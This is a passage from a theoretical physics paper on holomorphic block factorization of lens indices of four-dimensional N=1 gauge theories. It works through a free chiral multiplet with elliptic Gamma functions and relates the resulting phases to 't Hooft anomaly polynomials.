We focus here on a completely analogous story for the four-dimensional lens indices \cite{Yoshida:2014qwa,Peelaers:2014ima,Nieri:2015yia}.
In particular, either through evaluation of the contour integrals of the Coulomb branch formula \cite{Yoshida:2014qwa,Nieri:2015yia}, or through Higgs branch localization \cite{Peelaers:2014ima}, the lens index of a general $\mathcal{N}=1$ gauge theory can be shown to take the following form:
\begin{equation}\label{eq:lens-higgs-form}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})=\mathcal{Z}_f(\boldsymbol{\rho})=\sum_\alpha \mathcal{Z}^{\alpha}_{f}(\boldsymbol{\rho})=\sum_\alpha \mathcal{Z}^{\alpha}_{f,\text{1-loop}}(\boldsymbol{\rho})\mathcal{Z}^{\alpha}_{\text{v}}(\boldsymbol{\rho})\mathcal{Z}^{\alpha}_{\text{v}}(f^{-1} \boldsymbol{\rho})\,,
\end{equation}
where we have used the notation in \eqref{eq:defn-Zf-notation}.
In the language of the localization computation \cite{Benini:2013yva,Peelaers:2014ima}, the summation runs over a finite number of Higgs branch vacua of the (mass deformed) theory, and $\mathcal{Z}^{\alpha}_{f}(\boldsymbol{\rho})$ represents the contribution to the lens index from a given vacuum $\alpha$.\footnote{This language reflects the gauge theory formulation. However, indices are renormalization group invariants.
In particular, in the IR SCFT formulation $\alpha$ would label supersymmetric surface operators of the theory \cite{Gadde:2020bov}. The latter formulation applies more naturally to theories without a Higgs branch, such as $\mathcal{N}=4$ SYM.}
We stress that the summation domain is independent of $f$ \cite{Nieri:2015yia}.
The last equality shows how the contributions $\mathcal{Z}^{\alpha}_{f}(\boldsymbol{\rho})$ split into a perturbative contribution $\mathcal{Z}^{\alpha}_{f,\text{1-loop}}(\boldsymbol{\rho})$ and non-perturbative vortex $\mathcal{Z}^{\alpha}_{\text{v}}(\boldsymbol{\rho})$ and anti-vortex $\mathcal{Z}^{\alpha}_{\text{v}}(f^{-1}\boldsymbol{\rho})$ contributions.
The latter contributions capture codimension-$2$ multi-(anti-)vortex configurations which in terms of the Heegaard splitting $M_f(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ of the Hopf surface wrap the $T^2$ and are localized at the centers of the disks \cite{Peelaers:2014ima}.
``Anti'' refers to the vortices on the orientation reversed $D_2\times T^2$.
Thus, the vortex partition functions are naturally functions of $\boldsymbol{\rho}$ and $\tilde{\boldsymbol{\rho}}=f^{-1}\boldsymbol{\rho}$.
The perturbative contribution combines the one-loop fluctuations around the vortex configurations, which are similarly localized at the centers of the disks.
Based on \cite{Spiridonov:2012ww}, it was shown in \cite{Nieri:2015yia} that the perturbative contribution can also be written in a manifestly factorized form:
\begin{equation}
\mathcal{Z}^{\alpha}_{f,\text{1-loop}}(\boldsymbol{\rho})=e^{-i\pi \mathcal{P}_f(\boldsymbol{\rho})}b_S^{\alpha}(\boldsymbol{\rho})b_S^{\alpha}(f^{-1} \boldsymbol{\rho})\,,
\end{equation}
where $b_S^{\alpha}(\boldsymbol{\rho})$ ($b_S^{\alpha}(f^{-1}\boldsymbol{\rho})$) captures the one-loop fluctuations around the (anti-)vortex configurations.
The subscript $S$ refers to the element $S_{13}\in SL(2,\mathbb{Z})_{13}$, as we will return to momentarily.
Finally, the phase $\mathcal{P}_f(\boldsymbol{\rho})$ is given by a cubic polynomial in $\vec{z}$ and encodes the 't Hooft anomalies of the theory.
It does not depend on $\alpha$, which reflects the fact that the anomalies do not depend on the vacuum in which the theory resides \cite{Nieri:2015yia,Gadde:2020bov}.\footnote{\label{fn:gauge-anom-canc}At a more technical level, this can be derived from the contour integral expression of the index by making use of the gauge anomaly cancellation \cite{Nieri:2015yia}.}
Combining all of the above, one is led to the holomorphic block factorization of lens indices:
\begin{equation}\label{eq:lens-hol-blocks}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})=e^{-i\pi \mathcal{P}_f(\boldsymbol{\rho})}\sum_\alpha \norm{\mathcal{B}_S^{\alpha}(\boldsymbol{\rho})}^2_f\,,\quad \norm{\mathcal{B}_S^{\alpha}(\boldsymbol{\rho})}^2_f\equiv \mathcal{B}_S^{\alpha}(\boldsymbol{\rho}) \mathcal{B}_S^{\alpha}(f^{-1}\boldsymbol{\rho})\,.
\end{equation}
The presence of the phase prevents full factorization.
The holomorphic blocks $\mathcal{B}_S^{\alpha}$ combine a factor of the perturbative part with a vortex partition function so that:\footnote{Here we have used invariance $\mathcal{Z}^{\alpha}_{\text{v}}(\boldsymbol{\rho})$ under $S_{13}$, a point we will discuss in more detail in Sections \ref{sssec:sqed} and \ref{sssec:gen-gauge-th}.}
\begin{equation}
\mathcal{B}_S^\alpha(\boldsymbol{\rho})=b_S^{\alpha}(\boldsymbol{\rho})\,\mathcal{Z}^{\alpha}_{\text{v}}(S_{13}\boldsymbol{\rho})\,.
\end{equation}
If we write $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ for the partition function on a $D_2\times T^2$ geometry with moduli $\boldsymbol{\rho}$ \cite{Longhi:2019hdh}, the holomorphic block $\mathcal{B}^{\alpha}_S$ used in \cite{Nieri:2015yia} is given by:
\begin{equation}\label{eq:defn-Bs}
\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})=\mathcal{B}^{\alpha}(S_{13}\boldsymbol{\rho})\,,\qquad S_{13}\in SL(2,\mathbb{Z})_{13}\subset \mathcal{H} \,,
\end{equation}
as we will see explicitly in the examples below.
Therefore, the factorization expressed in \eqref{eq:lens-hol-blocks} can be interpreted in terms of an ambiguity in the Heegaard splitting:
\begin{equation}\label{eq:lens-index-equiv-S}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})=\mathcal{Z}_{f'}(\boldsymbol{\rho}')\,,\qquad f'=S_{13}f S_{13}^{-1}\,,\quad\boldsymbol{\rho}'=S_{13}\boldsymbol{\rho}\,.
\end{equation}
This observation, alluded to in Section \ref{sec:intro}, motivated in part the present work and will be extended to more general $h,\tilde{h}\in \mathcal{H}$ in the next sections.
\paragraph{Boundary conditions:}
It was suggested in \cite{Nieri:2015yia}, and later confirmed in \cite{Longhi:2019hdh}, that apart from a choice of Higgs vacuum $\alpha$ for the entire theory, there exist (at least) two $\frac{1}{2}$-BPS boundary conditions on $D_2\times T^2$ for a given $\mathcal{N}=1$ multiplet of the theory.
In particular, a chiral multiplet can either have Dirichlet or Robin-like boundary conditions, while a vector multiplet admits Neumann or Dirichlet boundary conditions.
In the following, we will assume Neumann boundary conditions for the vector multiplet.
Let us assume that all chiral multiplets in the gauge theory obey the same boundary condition, Dirichlet or Robin-like.
For gauge anomaly cancellation, the anti-chiral multiplets have to satisfy the opposite boundary condition, i.e., Robin-like or Dirichlet, respectively \cite{Nieri:2015yia,Longhi:2019hdh}.
We denote the holomorphic block of the full theory, including the vector multiplets, by $\mathcal{B}^{\alpha}(\boldsymbol{\rho})$ and $\mathcal{C}^{\alpha}(\boldsymbol{\rho})$, respectively.
One naturally expects that the compact space partition function $\mathcal{Z}_f$ is independent of the boundary condition.
This independence was indeed observed in \cite{Nieri:2015yia}, where it was shown that the respective products of holomorphic blocks are equal, up to a phase:
\begin{equation}\label{eq:equiv-hol-block-facts}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})=e^{-i\pi \mathcal{P}_f(\boldsymbol{\rho})}\sum_\alpha \norm{\mathcal{B}_S^{\alpha}(\boldsymbol{\rho})}^2_f=e^{-i\pi( \mathcal{P}_f(\boldsymbol{\rho})+\mathcal{P}_f^{3d}(\boldsymbol{\rho}))}\sum_\alpha \norm{\mathcal{C}_S^{\alpha}(\boldsymbol{\rho})}^2_f\,,
\end{equation}
where $\mathcal{C}_S^{\alpha}(\boldsymbol{\rho})$ is defined in terms of $\mathcal{C}^\alpha(\boldsymbol{\rho})$ as in \eqref{eq:defn-Bs}.
We now summarize the physical arguments that lead to the equality, following \cite{Longhi:2019hdh}, which will be confirmed mathematically in the examples below.
First of all, the boundary conditions on the (anti-)chiral multiplets can be changed through a coupling to a three-dimensional theory living on the boundary $T^3=\partial D_{2}\times T^2$.
At the level of the partition functions, it can be shown that \cite{Longhi:2019hdh}:
\begin{equation}\label{eq:dir-block-rob-block-reln}
\mathcal{B}^{\alpha}(\boldsymbol{\rho})=Z^{\alpha}_\partial(\vec{z};\tau) \mathcal{C}^{\alpha}(\boldsymbol{\rho})\,,
\end{equation}
where we recall that $\boldsymbol{\rho}=(\vec{z};\tau,\sigma)$ and $Z^{\alpha}_\partial(\vec{z};\tau)$ captures the contribution of the boundary degrees of freedom.
Note that it does not depend on $\sigma$, the modulus of the non-contractible $T^2$.
In addition, it turns out that $Z^{\alpha}_\partial(\vec{z};\tau)$ is invariant, up to a phase polynomial quadratic in $\vec{z}$, under the usual action of $SL(2,\mathbb{Z})\ltimes \mathbb{Z}^{2r}$:
\begin{equation}
(z_a;\tau)\to \left(\tfrac{z_a}{m\tau+n};\tfrac{k\tau+l}{m\tau+n}\right)\,,\quad (z_a;\tau)\to \left(z_a+i\tau+j;\tau\right)\,.
\end{equation}
This action is generated by $\lbrace S_{12},T_{21}, t^{(a)}_{1},t^{(a)}_2\rbrace$ when viewed as a subgroup of $\mathcal{G}$.
The partition function of the boundary theory thus behaves essentially like the elliptic genus of a \emph{two-dimensional} $(0,2)$ theory.
The physical reason for this is not entirely clear, and we refer to Section 6 of \cite{Longhi:2019hdh} for more details.
From now on, we simply assume that the blocks $\mathcal{B}^{\alpha}$ and $\mathcal{C}^{\alpha}$ for an arbitrary $\mathcal{N}=1$ theory are indeed related through multiplication by the modular object $Z^{\alpha}_\partial(\vec{z};\tau)$.
Given the equation \eqref{eq:dir-block-rob-block-reln} and the modular property of $Z^{\alpha}_\partial(\vec{z};\tau)$, we can now derive \eqref{eq:equiv-hol-block-facts}.
First, we write the product of the blocks $\mathcal{B}^{\alpha}_S$ as:
\begin{equation}
\norm{\mathcal{B}_S^{\alpha}(\boldsymbol{\rho})}^2_f=Z^{\alpha}_\partial(\vec{z}\,';\tau')Z^{\alpha}_\partial\left(\mathcal{O}_2g_{2}^{-1}(\vec{z}\,';\tau')\right) \norm{\mathcal{C}_S^{\alpha}(\boldsymbol{\rho})}^2_f\,.
\end{equation}
Here, we have defined $(\vec{z}\,';\tau')$ through (cf.\ \eqref{eq:defn-Bs}):
\begin{equation}
\boldsymbol{\rho}'\equiv (\vec{z}\,';\tau',\sigma')=S_{13}\boldsymbol{\rho}\,.
\end{equation}
Furthermore, we used that $f=g\,\mathcal{O}$ with $g$ given as in \eqref{eq:gSL2-from-gSL3}:
\begin{equation}\label{eq:g-sl2-in-sl3}
g=\begin{pmatrix}
1&0&0\\
0& -s & -r \\
0& -p & -q
\end{pmatrix}\,.
\end{equation}
Since $SL(2,\mathbb{Z})_{12}=S_{13} \,SL(2,\mathbb{Z})_{23} \,S_{13}^{-1}$, the action of $f$ on $(\vec{z}\,';\tau')$ can be written in terms of the standard $g_2\in SL(2,\mathbb{Z})$ action.
We thus arrive at the definition of $g_2$:
\begin{equation}
g_{2}=\begin{pmatrix}
-q & -p \\
-r & -s
\end{pmatrix}\,,\qquad \mathcal{O}_{2}=\begin{pmatrix}
1 & 0 \\
0 & -1
\end{pmatrix}\,,
\end{equation}
where we have included $\mathcal{O}_2$ as the restriction of $\mathcal{O}$ to $(\vec{z}\,';\tau')$ as well.
Finally, we require one additional property of $Z^{\alpha}_{\partial}$:\footnote{\label{footnote:Zpartial}In examples, we will see that $Z^{\alpha}_{\partial}(z;\tau)$ consists of a product of $q$-$\theta$ functions. This property then follows from the extension and elliptic properties of the $q$-$\theta$ function (see \eqref{eq:ext-theta} and \eqref{eq:elliptic-theta}).}
\begin{equation}
Z^{\alpha}_\partial\left(\mathcal{O}_2g_{2}^{-1}(\vec{z}\,';\tau')\right)\cong \frac{1}{Z^{\alpha}_\partial\left(g_{2}^{-1}(\vec{z}\,';\tau')\right)}\,,
\end{equation}
where the equality holds up to a phase.
The modular properties of $Z^{\alpha}_\partial$ mentioned above now imply:
\begin{equation}\label{eq:consistency-cond}
\norm{\mathcal{B}_S^{\alpha}(\boldsymbol{\rho})}^2_f\cong \norm{\mathcal{C}_S^{\alpha}(\boldsymbol{\rho})}^2_f\,,
\end{equation}
where the equality again holds up to a phase.
We arrive at the final claim \eqref{eq:equiv-hol-block-facts} as long as the relative phase, $\mathcal{P}^{3d}(\boldsymbol{\rho})$, is independent of $\alpha$.
This phase can be interpreted as the anomaly polynomial of the boundary theory and is independent of $\alpha$ for the same reasons as $\mathcal{P}_f(\boldsymbol{\rho})$ \cite{Longhi:2019hdh}.
To summarize then, the holomorphic blocks $\mathcal{B}^{\alpha}_S(\boldsymbol{\rho})$ or $\mathcal{C}^{\alpha}_S(\boldsymbol{\rho})$ of \cite{Nieri:2015yia} correspond to a non-standard Heegaard splitting of the (secondary) Hopf surface, as expressed in \eqref{eq:lens-index-equiv-S}.
Up to a phase, both holomorphic blocks produce upon gluing the same compact space partition function.
\subsubsection{Example: free chiral multiplet}\label{sssec:example-free-chiral}
In this section, we illustrate the above using the free chiral multiplet.
The extension to SQED and general gauge theories is discussed in Sections \ref{sssec:sqed} and \ref{sssec:gen-gauge-th}, respectively.
\paragraph{Lens indices:}
Let us collect from Appendix \ref{app:lens-indices} the free chiral multiplet indices on $S^2\times T^2$, $S^3\times S^1$, and $L(p,1)\times S^1$.
Since the chiral multiplet has a global $U(1)$ flavor symmetry, we may define the indices with respect to an R-symmetry such that fields have R-charges quantized as even integers.
In addition, for the $S^2\times T^2$ index, we allow $\mathbf{n}\in \mathbb{Z}$ units of flavor symmetry flux through the $S^2$.
Finally, for simplicity of notation we do not include holonomies for the flavor symmetry along the non-contractible cycle in $L(p,1)$.\footnote{The more general expressions are recorded in Appendix \ref{app:lens-indices}.}
We then have:
\begin{align}\label{eq:lens-indices-chiral}
\begin{split}
I^{R}_{(0,-1),g}(\hat{\boldsymbol{\rho}})&=\begin{cases}
\hat{p}^{\frac{\mathbf{R}}{12}}\hat{x}^{-\frac{\mathbf{R}}{2}}\prod^{\frac{|\mathbf{R}|-1}{2}}_{m=-\frac{|\mathbf{R}|-1}{2}}\theta(\hat{z}+m\hat{\tau};\hat{\sigma})^{\text{sgn}(\mathbf{R})}\,,\quad &\text{for}\quad \mathbf{R}\neq 0\,,\\
1\,,\quad &\text{for}\quad \mathbf{R}=0\,,
\end{cases}\\
I^{R}_{(1,0)}(\hat{\boldsymbol{\rho}})&=\Gamma(\hat{z}+\tfrac{R}{2}(\hat{\tau}+\hat{\sigma});\hat{\tau},\hat{\sigma})\,,\\
I^{R}_{(p,1)}(\hat{\boldsymbol{\rho}})&=\Gamma\left(\hat{z}+\tfrac{R}{2}(\hat{\tau}+\hat{\sigma})+p\hat{\sigma};\hat{\tau}+\hat{\sigma},p\hat{\sigma}\right)\Gamma\left(\hat{z}+\tfrac{R}{2}(\hat{\tau}+\hat{\sigma});\hat{\tau}+\hat{\sigma},p\hat{\tau}\right) \,,
\end{split}
\end{align}
where $\mathbf{R}\equiv R+\mathbf{n}-1$ and $R\in 2\mathbb{Z}$.
The functions $\theta(z;\sigma)$ and $\Gamma(z;\tau,\sigma)$ represent the $q$-$\theta$ and elliptic $\Gamma$ function, respectively, defined in Appendix \ref{app:defs}.
Using properties of the functions recorded there, one easily verifies that for both $R$ and $\mathbf{R}$ even integers these functions are invariant (up to a phase) under symmetries of the respective Hopf surfaces recorded in Section \ref{ssec:hopf-surfaces}.
Recall that the moduli of the Hopf surface are related to the $D_2\times T^2$ moduli as:
\begin{equation}\label{eq:p-moduli-2}
(z;\tau,\sigma)=\begin{cases}
(\hat{z}+\tfrac{\mathbf{n}}{2}\hat{\tau};\hat{\tau},\hat{\sigma})\,, \; &\text{for}\;p=r= 0\,,\,q=s= -1\,,\\
(\hat{z};\hat{\tau}+s\hat{\sigma},p\hat{\sigma})\,, \; &\text{for}\;p\neq 0 \,,
\end{cases}
\end{equation}
where for later convenience we have included a shift of $\hat{z}$ in the first line to reflect a non-trivial flavor flux through the $S^2$.
We then use the notation \eqref{eq:defn-Zf-notation} to write:
\begin{equation}
Z_{t_2^{\mathbf{n}}\mathcal{O}}(z;\tau,\sigma)=I^{R}_{(0,-1),\mathbf{n}}(z+\tfrac{\mathbf{n}}{2}\tau;\tau,\sigma)\,,\qquad Z_{S_{23}\mathcal{O}}(z;\tau,\sigma)=I^{R}_{(1,0)}(z;\tau,\sigma)\,,
\end{equation}
where we suppress the label $R$ and use that the gluing transformation $t_2^{\mathbf{n}}\mathcal{O}$ produces an $S^2\times T^2$ geometry with $\mathbf{n}$ units of flavor symmetry flux through the $S^2$ \cite{Gadde:2020bov}.
Similarly, for the index on $L(p,1)\times S^1$ we write:
\begin{equation}\label{eq:Zchiralmultiplet}
Z_{g_{(p,1)}\mathcal{O}}(z;\tau,\sigma)=I^{R}_{(p,1)}(z;\tau-\tfrac{1}{p}\sigma,\tfrac{1}{p}\sigma)\,.
\end{equation}
To see how these indices factorize into holomorphic blocks, let us also record the partition function on $D_2\times T^2$ with moduli $\boldsymbol{\rho}=(z;\tau,\sigma)$.
This was computed in~\cite{Longhi:2019hdh} through localization for two types of boundary conditions: Dirichlet and Robin-like boundary conditions.
The associated partition functions are given by:\footnote{\label{fn:sim-hol-block-index-chiral}Note the similarity between the $D_2\times T^2$ partition functions and the index on $S^3\times S^1$ in \eqref{eq:lens-indices-chiral}.}%
\begin{align}\label{eq:hol-blocks-bc-free-chiral}
\begin{split}
B(z;\tau,\sigma)&\equiv \Gamma(z+\tfrac{R}{2}\tau+\sigma;\tau,\sigma)\,,\\
C(z;\tau,\sigma)&\equiv\Gamma(z+\tfrac{R}{2}\tau;\tau,\sigma)\,.
\end{split}
\end{align}
Note that we do not write the label $\alpha$, since for the free chiral multiplet it assumes only a single value.
Furthermore, we define the blocks without a phase prefactor, as opposed to \cite{Longhi:2019hdh}.
This is justified because holomorphic block factorization of the lens indices uniquely fixes the overall phase due to properties of the elliptic $\Gamma$ function.
We also note that:
\begin{equation}\label{eq:BC-reln-free-chiral}
B(\boldsymbol{\rho})=\theta(z+\tfrac{R}{2}\tau;\tau)C(\boldsymbol{\rho})\,,
\end{equation}
where we have used the shift property \eqref{eq:basic-shift-gamma-app} of the elliptic $\Gamma$ function.
As anticipated in general above, we now see explicitly that $B(\boldsymbol{\rho})$ and $C(\boldsymbol{\rho})$ are related through multiplication by a function that is invariant, up to a phase, under $SL(2,\mathbb{Z})_{12}\ltimes \mathbb{Z}^{2+2}\subset \mathcal{G}$.
Finally, unlike the indices on closed manifolds, the functions $B(\boldsymbol{\rho})$ and $C(\boldsymbol{\rho})$ do not have automorphic properties under the full group of large diffeomorphisms and gauge transformations $\mathcal{H}$ of $D_2\times T^2$.
However, we note that they are periodic under $z\to z+1$, $\tau\to\tau+1$ and $\sigma\to \sigma+1$, which again relies on the fact that the R-charges are quantized as even integers.
\paragraph{Holomorphic block factorization:}
We are now ready to describe the explicit factorization of the indices \eqref{eq:lens-indices-chiral} into holomorphic blocks, following \cite{Nieri:2015yia}.
We start with the superconformal index $Z_{S_{23}\mathcal{O}}(\boldsymbol{\rho})$.
The crucial property of the elliptic $\Gamma$ function underlying the factorization of this index is \cite{Felder_2000} (see also Appendix \ref{app:defs}):
\begin{align}\label{eq:gamma-ids-for-hol-blocks}
\begin{split}
\Gamma(z;\tau,\sigma)&=e^{-i\pi Q(z;\tau,\sigma)}\Gamma\left(\tfrac{z}{\sigma};\tfrac{\tau}{\sigma},-\tfrac{1}{\sigma}\right)\Gamma\left(\tfrac{z}{\tau};\tfrac{\sigma}{\tau},-\tfrac{1}{\tau}\right)\,,
\end{split}
\end{align}
where $Q(z;\tau,\sigma)$ is a cubic polynomial in $z$.
Using this property, we may write:
\begin{align}
\begin{split}
\Gamma(z+\tfrac{R}{2}(\tau+\sigma);\tau,\sigma)&=e^{-i\pi Q(z+\frac{R}{2}(\tau+\sigma)-1;\tau,\sigma)}\\
& \times\Gamma\left(\tfrac{z+\frac{R}{2}\tau-1}{\sigma};\tfrac{\tau}{\sigma},-\tfrac{1}{\sigma}\right)\Gamma\left(\tfrac{z+\frac{R}{2}\sigma-1}{\tau};\tfrac{\sigma}{\tau},-\tfrac{1}{\tau}\right)\,,
\end{split}
\end{align}
where we have made use of the periodicity of the elliptic $\Gamma$ function under $z\to z+1$ and the fact that $R$ is quantized as an even integer.
One now easily checks that the index can be written as anticipated in \eqref{eq:lens-hol-blocks}:
\begin{equation}\label{eq:hol-block-S-fact-sci-chiral}
Z_{S_{23}\mathcal{O}}(\boldsymbol{\rho})=e^{-i \pi P_{S_{23}}(\boldsymbol{\rho};R)}\norm{B_S(\boldsymbol{\rho})}^2_{S_{23}\mathcal{O}} \,,
\end{equation}
where the holomorphic block $B_S(\boldsymbol{\rho})$ is given in terms of $B(\boldsymbol{\rho})$ in \eqref{eq:hol-blocks-bc-free-chiral} as follows:
\begin{equation}
B_S(\boldsymbol{\rho})=B(S_{13}\boldsymbol{\rho})=\Gamma\left(\tfrac{z+\frac{R}{2}\tau-1}{\sigma};\tfrac{\tau}{\sigma},-\tfrac{1}{\sigma}\right)\,,
\end{equation}
and we define the corresponding phase by:
\begin{equation}\label{eq:PS23-chiral}
P_{S_{23}}(\boldsymbol{\rho};R)=Q(z+\tfrac{R}{2}(\tau+\sigma)-1;\tau,\sigma)\,.
\end{equation}
To factorize $Z_{g_{(p,1)}\mathcal{O}}(\boldsymbol{\rho})$, we use a closely related property for the first $\Gamma$ function in the expression \eqref{eq:lens-indices-chiral}:
\begin{align}\label{eq:gamma-ids-for-hol-blocks-2}
\begin{split}
\Gamma(z+\sigma;\tau,\sigma)&=e^{-i\pi Q(z+\sigma;\tau,\sigma)}\frac{\Gamma\left(\frac{z}{\sigma};\frac{\tau}{\sigma},-\frac{1}{\sigma}\right)}{\Gamma\left(\frac{z}{\tau};-\frac{\sigma}{\tau},-\frac{1}{\tau}\right)}\,,
\end{split}
\end{align}
while we use \eqref{eq:gamma-ids-for-hol-blocks} on the second $\Gamma$ function.
Two of the four resulting $\Gamma$ functions cancel, and one easily verifies that in this case again:
\begin{equation}\label{eq:hol-block-gp-fact-sci-chiral}
Z_{g_{(p,1)}\mathcal{O}}(\boldsymbol{\rho})=e^{-i \pi P_{g_{(p,1)}}(\boldsymbol{\rho};R)}\norm{B_S(\boldsymbol{\rho})}^2_{g_{(p,1)}\mathcal{O}} \,,
\end{equation}
where now the phase is given by:
\begin{equation}\label{eq:Pgp-chiral}
P_{g_{(p,1)}}(\boldsymbol{\rho};R)=Q(z+\tfrac{R}{2}\tau+\sigma-1;\tau,\sigma)+Q(z+\tfrac{R}{2}\tau-1;p\tau-\sigma,\tau)\,.
\end{equation}
Finally, for factorization of the $S^2\times T^2$ index, we first use the shift property of the elliptic $\Gamma$ function \eqref{eq:basic-shift-gamma-app} to rewrite the index as follows:
\begin{align}
\begin{split}
Z_{t_2^{\mathbf{n}}\mathcal{O}}(\boldsymbol{\rho})&=p^{\frac{\mathbf{R}}{12}}q^{\frac{\mathbf{n}\mathbf{R}}{2}}x^{-\frac{\mathbf{R}}{2}}\frac{\Gamma(z+\frac{R}{2}\tau;\tau,\sigma)}{\Gamma(z-(\frac{R}{2}+\mathbf{n}-1)\tau;\tau,\sigma)}\\
&=p^{\frac{\mathbf{R}}{12}}q^{\frac{\mathbf{n}\mathbf{R}}{2}}x^{-\frac{\mathbf{R}}{2}}\Gamma(z+\tfrac{R}{2}\tau;\tau,\sigma)\Gamma(z-(\tfrac{R}{2}+\mathbf{n})\tau;-\tau,\sigma)\,,
\end{split}
\end{align}
where in the second line we have made use of the extension property \eqref{eq:extend} of the elliptic $\Gamma$ function.
The latter equality already takes the form of a factorization:
\begin{equation}
Z_{t_2^{\mathbf{n}}\mathcal{O}}(\boldsymbol{\rho})=p^{\frac{\mathbf{R}}{12}}q^{\frac{\mathbf{n}\mathbf{R}}{2}}x^{-\frac{\mathbf{R}}{2}}\norm{C(\boldsymbol{\rho})}^2_{t_2^{\mathbf{n}}\mathcal{O}}\,.
\end{equation}
We may also factorize $Z_{t_2^{\mathbf{n}}\mathcal{O}}(\boldsymbol{\rho})$ in terms of $C_S(\boldsymbol{\rho})\equiv C(S_{13}\boldsymbol{\rho})$ by making use of:
\begin{align}\label{eq:gamma-ids-for-hol-blocks-3}
\begin{split}
\theta\left(\tfrac{z}{\sigma};-\tfrac{1}{\sigma} \right) &= e^{i\pi B_2(z,\sigma)} \theta(z;\sigma)\,,
\end{split}
\end{align}
where $B_2(z;\sigma)$ is a quadratic polynomial in $z$ (see Appendix \ref{app:defs}).
Using this transformation, we can write:
\begin{equation}
Z_{t_2^{\mathbf{n}}\mathcal{O}}(\boldsymbol{\rho})=p^{\frac{\mathbf{R}}{12}}q^{\frac{\mathbf{n}\mathbf{R}}{2}}x^{-\frac{\mathbf{R}}{2}}e^{i\pi \tilde{P}_{t_2^{\mathbf{n}}}(\boldsymbol{\rho};R)}\norm{C_S(\boldsymbol{\rho})}^2_{t_2^{\mathbf{n}}\mathcal{O}}\,,
\end{equation}
where we indicate with the tilde that the phase is associated to $C_S(\boldsymbol{\rho})$, as opposed to $B_S(\boldsymbol{\rho})$, and is given by:
\begin{equation}\label{eq:P1-chiral}
\tilde{P}_{t_2^{\mathbf{n}}}(\boldsymbol{\rho};R)=
\text{sgn}(\mathbf{R})\sum^{\frac{|\mathbf{R}|-1}{2}}_{m=-\frac{|\mathbf{R}|-1}{2}}B_2(z+(m-\tfrac{\mathbf{n}}{2})\tau;\sigma)\,.
\end{equation}
All in all, we have seen that the chiral multiplet indices can be factorized, up to a phase, in terms of the holomorphic blocks $B_S(\boldsymbol{\rho})$ or $C_S(\boldsymbol{\rho})$.
In fact, given the relation between the blocks \eqref{eq:BC-reln-free-chiral} and our general arguments above, it follows that the indices can be factorized in terms of both blocks, as we will see explicitly below.
Before getting there, let us first show that the relative phase captures the 't Hooft anomalies of the theory \cite{Spiridonov:2012ww,Nieri:2015yia,Gadde:2020bov}.
\paragraph{Anomaly polynomials:}
A convenient parametrization of the 't Hooft anomalies of a general gauge theory is as follows \cite{Gadde:2020bov}:
\begin{align}\label{eq:anomaly-pol-gen-th}
\begin{split}
\mathcal{P}(\vec{Z};x_i)\equiv& \frac{1}{3x_1x_2x_3}\left(k_{abc}Z_aZ_cZ_c+3k_{abR}Z_aZ_bX+3k_{aRR}Z_aX^2-k_aZ_a\tilde{X}\right.\\
&\left.+k_{RRR}X^3-k_RX\tilde{X}\right)\,,
\end{split}
\end{align}
where $\vec{Z}$ and $x_i$ represent the homogeneous moduli defined in \eqref{eq:rho-homog}, and
\begin{equation}\label{eq:X-and-Xt}
X\equiv \frac{1}{2}\sum^3_{i=1}x_i \,,\qquad \tilde{X}\equiv \frac{1}{4}\sum^3_{i=1}x^2_i \,.
\end{equation}
The coefficients encode anomalies.
For example, $k_{abc}=\mathrm{Tr}\, F_aF_bF_c$ represents a cubic anomaly for the flavor symmetry generators $F_a$, which would be diagonal for fundamental representations.
The label $R$ refers to the R-symmetry generator instead, and $k_a=\mathrm{Tr}\, F_a$ and $k_R=\mathrm{Tr}\, R$ capture the mixed-gravitational anomalies.
In our conventions, the relation between the anomaly polynomial as parametrized by \eqref{eq:anomaly-pol-gen-th} and the phase polynomial $P_{S_{23}}(\boldsymbol{\rho};R)$, is:
\begin{equation}\label{eq:phase-anomaly-pol-reln-chiral}
P_{S_{23}}(\tfrac{Z+\frac{R}{2}x_1}{x_1},\tfrac{x_2}{x_1},\tfrac{x_3}{x_1};R)=\mathcal{P}_{\chi_R}(\vec{Z};x_i)\,,
\end{equation}
where $\mathcal{P}_{\chi_R}(\vec{Z};x_i)$ captures the anomalies of a chiral multiplet with R-charge $R$.
Expanding $P^R_{S_{23}}(\frac{Z+\frac{R}{2}x_1}{x_1},\frac{x_2}{x_1},\frac{x_3}{x_1};R)$, one easily reads off the anomalies:
\begin{equation}\label{eq:anomaly-coefficient-R}
k_{F^3}=1\,,\quad k_{F^2R}=R-1\,,\quad k_{FR^2}=(R-1)^2\,,\quad k_F=1\,,\quad k_{R^3}= (R-1)^3\,,\quad k_R=R-1\,,
\end{equation}
as indeed appropriate for a free chiral multiplet.
To understand how the phases on the other backgrounds connect to the anomaly polynomial, we note that $P_{g_{(p,1)}}(\boldsymbol{\rho};R)$ can be written as follows in terms of $\hat{\boldsymbol{\rho}}$:
\begin{equation}\label{eq:Lenspolynomial-Q+dQ}
P_{g_{(p,1)}}(\boldsymbol{\rho};R)= \frac{1}{p} Q\left(\hat{z} + \frac{R}{2}(\hat{\tau}+\hat{\sigma})-1, \hat{\tau},\hat{\sigma} \right) +\frac{p^2-1}{12p} (2\hat{z} + (R-1)(\hat{\tau}+\hat{\sigma})-1)\,,
\end{equation}
where we have made use of \eqref{eq:p-moduli-2}.
This phase relates to a more general parametrization of the anomalies.
In particular, let us write an analogue of \eqref{eq:anomaly-pol-gen-th} with the same anomaly coefficients \eqref{eq:anomaly-coefficient-R} as follows:
\begin{eqnarray}\nonumber
\mathcal{P}^{(p)}(\vec{Z};\hat{x}_i)&\equiv \frac{1}{3p\hat{x}_1\hat{x}_2\hat{x}_3}\left(k_{abc}Z_aZ_bZ_c+3k_{abR}Z_aZ_bX +3k_{aRR}Z_a X^2-k_aZ_a\tilde{X}^{(p,1)}\right.\\ \label{eq:anomaly-pol-gen-th-lens}
&\left.+k_{RRR} X^3-k_R X\tilde{X}^{(p,1)}\right)\,,
\end{eqnarray}
where $X$ is as before in terms of $\hat{x}_i$ and we have defined $\tilde{X}^{(p,1)}$ as follows:
\begin{equation}
\tilde{X}^{(p,1)}=\frac{1}{4}\left(\hat{x}_1^2+\hat{x}_2^2+\hat{x}_3^2-2(p^2-1)\hat{x}_2\hat{x}_3\right)\,.
\end{equation}
